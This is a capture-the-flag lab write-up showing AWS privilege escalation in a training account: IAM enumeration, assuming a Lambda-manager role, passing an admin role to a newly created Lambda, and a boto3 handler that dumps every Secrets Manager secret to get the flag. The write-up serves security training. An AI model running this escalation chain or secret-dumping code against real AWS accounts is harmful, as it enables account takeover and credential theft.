HackSmarter
Assume
- AWS CLI
- boto3 (Lambda function code)
Target Information
| Property | Value |
|---|---|
| Target | AWS Account 223767249945 (us-east-1) |
| Platform | AWS IAM / STS / Lambda / Secrets Manager |
| Starting point | IAM access key for chris-lab |
Enumeration — IAM as chris-lab
aws configure --profile chris
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.
AWS Access Key ID [None]: [LAB ACCESS KEY ID OMITTED]
AWS Secret Access Key [None]: [LAB SECRET ACCESS KEY OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity --profile chris
{
"UserId": "AIDATIGMRIQMRHFLKPKF7",
"Account": "223767249945",
"Arn": "arn:aws:iam::223767249945:user/chris-lab"
}
chris-lab. Checked what it could do:
aws iam list-attached-user-policies \
--user-name chris-lab \
--profile chris
{
"AttachedPolicies": [
{
"PolicyName": "cg-chris-policy-lab",
"PolicyArn": "arn:aws:iam::223767249945:policy/cg-chris-policy-lab"
}
]
}
aws iam list-user-policies \
--user-name chris-lab \
--profile chris
{
"PolicyNames": []
}
aws iam get-policy \
--policy-arn arn:aws:iam::223767249945:policy/cg-chris-policy-lab \
--profile chris
{
"Policy": {
"PolicyName": "cg-chris-policy-lab",
"PolicyId": "ANPATIGMRIQM2RKNDOOTH",
"Arn": "arn:aws:iam::223767249945:policy/cg-chris-policy-lab",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-chris-policy-lab",
"CreateDate": "2026-08-19T12:43:58+00:00",
"UpdateDate": "2026-08-19T12:43:58+00:00",
"Tags": [
{
"Key": "Name",
"Value": "cg-chris-policy-lab"
}
]
}
}
aws iam get-policy-version \
--policy-arn arn:aws:iam::223767249945:policy/cg-chris-policy-lab \
--version-id v1 \
--profile chris
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"sts:AssumeRole",
"iam:List*",
"iam:Get*"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "chris"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-08-19T12:43:58+00:00"
}
}
sts:AssumeRole on Resource: "*", plus broad IAM read (iam:List*, iam:Get*). Nothing to assume yet without a target role.
Role Enumeration
aws iam list-roles \
--profile chris \
--query 'Roles[].{RoleName:RoleName,Arn:Arn}' \
--output table
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
| ListRoles |
+----------------------------------------------------------------------------------------------------------------------------+----------------------------------------+
| Arn | RoleName |
+----------------------------------------------------------------------------------------------------------------------------+----------------------------------------+
| arn:aws:iam::223767249945:role/aws-service-role/ops.apigateway.amazonaws.com/AWSServiceRoleForAPIGateway | AWSServiceRoleForAPIGateway |
| arn:aws:iam::223767249945:role/aws-service-role/autoscaling.amazonaws.com/AWSServiceRoleForAutoScaling | AWSServiceRoleForAutoScaling |
| arn:aws:iam::223767249945:role/aws-service-role/elasticbeanstalk.amazonaws.com/AWSServiceRoleForElasticBeanstalk | AWSServiceRoleForElasticBeanstalk |
| arn:aws:iam::223767249945:role/aws-service-role/elasticloadbalancing.amazonaws.com/AWSServiceRoleForElasticLoadBalancing | AWSServiceRoleForElasticLoadBalancing |
| arn:aws:iam::223767249945:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations | AWSServiceRoleForOrganizations |
| arn:aws:iam::223767249945:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport | AWSServiceRoleForSupport |
| arn:aws:iam::223767249945:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor | AWSServiceRoleForTrustedAdvisor |
| arn:aws:iam::223767249945:role/cg-debug-role-lab | cg-debug-role-lab |
| arn:aws:iam::223767249945:role/cg-lambdaManager-role-lab | cg-lambdaManager-role-lab |
| arn:aws:iam::223767249945:role/CourseStackAwsLabRole | CourseStackAwsLabRole |
| arn:aws:iam::223767249945:role/OrganizationAccountAccessRole | OrganizationAccountAccessRole |
+----------------------------------------------------------------------------------------------------------------------------+----------------------------------------+
Two custom roles stood out against the AWS-managed service-linked ones: cg-debug-role-lab and cg-lambdaManager-role-lab. Checked who’s allowed to assume each.
aws iam get-role \
--role-name cg-debug-role-lab \
--profile chris
{
"Role": {
"Path": "/",
"RoleName": "cg-debug-role-lab",
"RoleId": "AROATIGMRIQMZSIUW3VDQ",
"Arn": "arn:aws:iam::223767249945:role/cg-debug-role-lab",
"CreateDate": "2026-08-19T12:43:58+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "CloudGoat debug role",
"MaxSessionDuration": 3600,
"Tags": [
{
"Key": "Name",
"Value": "cg-debug-role-lab"
}
],
"RoleLastUsed": {}
}
}
cg-debug-role-lab only trusts the Lambda service (lambda.amazonaws.com) — not chris-lab directly.
aws iam get-role \
--role-name cg-lambdaManager-role-lab \
--profile chris
{
"Role": {
"Path": "/",
"RoleName": "cg-lambdaManager-role-lab",
"RoleId": "AROATIGMRIQM3ZIE6DQVS",
"Arn": "arn:aws:iam::223767249945:role/cg-lambdaManager-role-lab",
"CreateDate": "2026-08-19T12:44:06+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::223767249945:user/chris-lab"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "CloudGoat Lambda manager role",
"MaxSessionDuration": 3600,
"Tags": [
{
"Key": "Name",
"Value": "cg-debug-role-lab"
}
],
"RoleLastUsed": {}
}
}
cg-lambdaManager-role-lab trusts chris-lab by name. That’s the one to assume. Checked what it grants first:
aws iam list-attached-role-policies \
--role-name cg-lambdaManager-role-lab \
--profile chris
{
"AttachedPolicies": [
{
"PolicyName": "cg-lambdaManager-policy-lab",
"PolicyArn": "arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab"
}
]
}
aws iam list-role-policies \
--role-name cg-lambdaManager-role-lab \
--profile chris
{
"PolicyNames": []
}
aws iam get-policy \
--policy-arn arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab \
--profile chris
{
"Policy": {
"PolicyName": "cg-lambdaManager-policy-lab",
"PolicyId": "ANPATIGMRIQM547DU5M36",
"Arn": "arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-lambdaManager-policy-lab",
"CreateDate": "2026-08-19T12:43:58+00:00",
"UpdateDate": "2026-08-19T12:43:58+00:00",
"Tags": [
{
"Key": "Name",
"Value": "cg-lambdaManager-policy-lab"
}
]
}
}
aws iam get-policy-version \
--policy-arn arn:aws:iam::223767249945:policy/cg-lambdaManager-policy-lab \
--version-id v1 \
--profile chris
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"lambda:*",
"iam:PassRole"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "lambdaManager"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-08-19T12:43:58+00:00"
}
}
lambda:* and iam:PassRole on Resource: "*" — this role can create Lambda functions and pass any execution role to them, including cg-debug-role-lab. Checked what that role has attached before committing to the plan:
aws iam list-attached-role-policies \
--role-name cg-debug-role-lab \
--profile chris
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
aws iam list-role-policies \
--role-name cg-debug-role-lab \
--profile chris
{
"PolicyNames": []
}
AdministratorAccess. cg-debug-role-lab only trusts Lambda to assume it — but cg-lambdaManager-role-lab can pass that exact role to a Lambda function it creates. A function running with that execution role runs as account admin.
Lateral Movement — Assuming cg-lambdaManager-role-lab
aws sts assume-role \
--role-arn arn:aws:iam::223767249945:role/cg-lambdaManager-role-lab \
--role-session-name lambda-manager-session \
--profile chris
{
"Credentials": {
"AccessKeyId": "[LAB CREDENTIAL OMITTED]",
"SecretAccessKey": "[LAB CREDENTIAL OMITTED]",
"SessionToken": "[LAB CREDENTIAL OMITTED]",
"Expiration": "2026-08-19T14:02:25+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROATIGMRIQM3ZIE6DQVS:lambda-manager-session",
"Arn": "arn:aws:sts::223767249945:assumed-role/cg-lambdaManager-role-lab/lambda-manager-session"
}
}
aws configure set aws_access_key_id '[VALUE FROM STS RESPONSE]' --profile lambda-manager
aws configure set aws_secret_access_key '[VALUE FROM STS RESPONSE]' --profile lambda-manager
aws configure set aws_session_token '[VALUE FROM STS RESPONSE]' --profile lambda-manager
aws configure set region us-east-1 --profile lambda-manager
aws sts get-caller-identity --profile lambda-manager
{
"UserId": "AROATIGMRIQM3ZIE6DQVS:lambda-manager-session",
"Account": "223767249945",
"Arn": "arn:aws:sts::223767249945:assumed-role/cg-lambdaManager-role-lab/lambda-manager-session"
}
Confirmed as the assumed role. No existing functions to abuse:
aws lambda list-functions \
--profile lambda-manager \
--query 'Functions[].{Name:FunctionName,Role:Role,Runtime:Runtime}' \
--output table
aws lambda list-functions \
--profile lambda-manager \
--region us-east-1
{
"Functions": []
}
Privilege Escalation — Lambda Confused Deputy
Nothing existing to hijack, so I built one from scratch, passing cg-debug-role-lab as its execution role:
mkdir exploit-lambda
cd exploit-lambda
nano lambda_function.py
zip function.zip lambda_function.py
adding: lambda_function.py (deflated 25%)
aws lambda create-function \
--function-name cg-privesc-test \
--runtime python3.13 \
--role arn:aws:iam::223767249945:role/cg-debug-role-lab \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip \
--profile lambda-manager \
--region us-east-1
{
"FunctionName": "cg-privesc-test",
"FunctionArn": "arn:aws:lambda:us-east-1:223767249945:function:cg-privesc-test",
"Runtime": "python3.13",
"Role": "arn:aws:iam::223767249945:role/cg-debug-role-lab",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 331,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-08-19T13:07:09.869+0000",
"CodeSha256": "x9QIDdSUVl2Zt5WrwkySYif1d+CUszOBo1SKqB+HrlU=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "c4767750-65ac-406b-9fbb-0463cdc135f8",
"State": "Pending",
"StateReason": "The function is being created.",
"StateReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:c45043813da1baebf5ac04edcaef1a67db184ee08f1fd2b4ce1642305ee9845c"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/cg-privesc-test"
}
}
aws lambda invoke \
--function-name cg-privesc-test \
--profile lambda-manager \
--region us-east-1 \
response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
cat response.json | jq
{
"statusCode": 200,
"body": "{\"UserId\": \"AROATIGMRIQMZSIUW3VDQ:cg-privesc-test\", \"Account\": \"223767249945\", \"Arn\": \"arn:aws:sts::223767249945:assumed-role/cg-debug-role-lab/cg-privesc-test\", \"ResponseMetadata\": {\"RequestId\": \"c98c0ae9-3b4f-4366-b7b4-ef18039e37a9\", \"HTTPStatusCode\": 200, \"HTTPHeaders\": {\"x-amzn-requestid\": \"c98c0ae9-3b4f-4366-b7b4-ef18039e37a9\", \"x-amz-sts-extended-request-id\": \"MTp1cy1lYXN0LTE6UzoxNzg3MTQ0ODU5MTM1OlI6QXFMRXhNOFg=\", \"content-type\": \"text/xml\", \"content-length\": \"454\", \"date\": \"Wed, 19 Aug 2026 13:07:39 GMT\"}, \"RetryAttempts\": 0}}"
}
The function’s own identity came back as arn:aws:sts::223767249945:assumed-role/cg-debug-role-lab/cg-privesc-test — it runs as cg-debug-role-lab, which carries AdministratorAccess. Confirmed code execution as account admin.
Post-Exploitation — Secrets Manager via Lambda
With admin-equivalent code execution established, I rewrote the function to list and read every secret in the account:
import boto3
import json
def lambda_handler(event, context):
sm = boto3.client("secretsmanager", region_name="us-east-1")
secrets = sm.list_secrets()
results = []
for secret in secrets.get("SecretList", []):
name = secret["Name"]
try:
value = sm.get_secret_value(SecretId=name)
results.append({
"Name": name,
"SecretString": value.get("SecretString"),
"SecretBinary": str(value.get("SecretBinary"))
})
except Exception as e:
results.append({
"Name": name,
"Error": str(e)
})
return {
"statusCode": 200,
"body": json.dumps(results)
}
aws lambda update-function-code \
--function-name cg-privesc-test \
--zip-file fileb://function2.zip \
--profile lambda-manager \
--region us-east-1
{
"FunctionName": "cg-privesc-test",
"FunctionArn": "arn:aws:lambda:us-east-1:223767249945:function:cg-privesc-test",
"Runtime": "python3.13",
"Role": "arn:aws:iam::223767249945:role/cg-debug-role-lab",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 508,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-08-19T13:14:15.000+0000",
"CodeSha256": "QPorkHbkcD87UipfavARIEEjV9kuUvdM02heqd+yL68=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "1d4b9c4e-dc0a-44e9-a934-cd28c5c32338",
"State": "Active",
"LastUpdateStatus": "InProgress",
"LastUpdateStatusReason": "The function is being created.",
"LastUpdateStatusReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:c45043813da1baebf5ac04edcaef1a67db184ee08f1fd2b4ce1642305ee9845c"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/cg-privesc-test"
}
}
aws lambda wait function-updated \
--function-name cg-privesc-test \
--profile lambda-manager \
--region us-east-1
aws lambda invoke \
--function-name cg-privesc-test \
--profile lambda-manager \
--region us-east-1 \
secrets.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
cat secrets.json | jq
{
"statusCode": 200,
"body": "[{\"Name\": \"cg-flag-lab\", \"SecretString\": \"HSM{l4mbd4_pr1v3sc_4dm1n_v1ct0ry}\", \"SecretBinary\": \"None\"}]"
}
cg-flag-lab — the flag.
Attack Path Summary
IAM user chris-lab — sts:AssumeRole + iam:List*/Get* (Resource:*), no direct admin
↓
Enumerated roles: cg-lambdaManager-role-lab trusts chris-lab
↓
Its policy grants lambda:* and iam:PassRole (Resource:*)
↓
cg-debug-role-lab (AdministratorAccess) only trusts lambda.amazonaws.com to assume it
↓
Assumed cg-lambdaManager-role-lab
↓
Created a Lambda function, passing cg-debug-role-lab as its execution role
↓
Function runs as cg-debug-role-lab — admin-equivalent code execution
↓
Rewrote the function to dump Secrets Manager
↓
cg-flag-lab → HSM{l4mbd4_pr1v3sc_4dm1n_v1ct0ry}
Credentials Found
| Principal | Credential | Source |
|---|---|---|
| chris-lab | [LAB ACCESS KEY / SECRET OMITTED] |
Starting access key for the engagement |
| cg-lambdaManager-role-lab (assumed) | [TEMPORARY STS CREDENTIALS OMITTED] (expired 2026-08-19T14:02:25Z) |
sts:AssumeRole as chris-lab |
| Flag | Value |
|---|---|
| cg-flag-lab | HSM{l4mbd4_pr1v3sc_4dm1n_v1ct0ry} |
Tools Used
- AWS CLI
- boto3 (Lambda function code)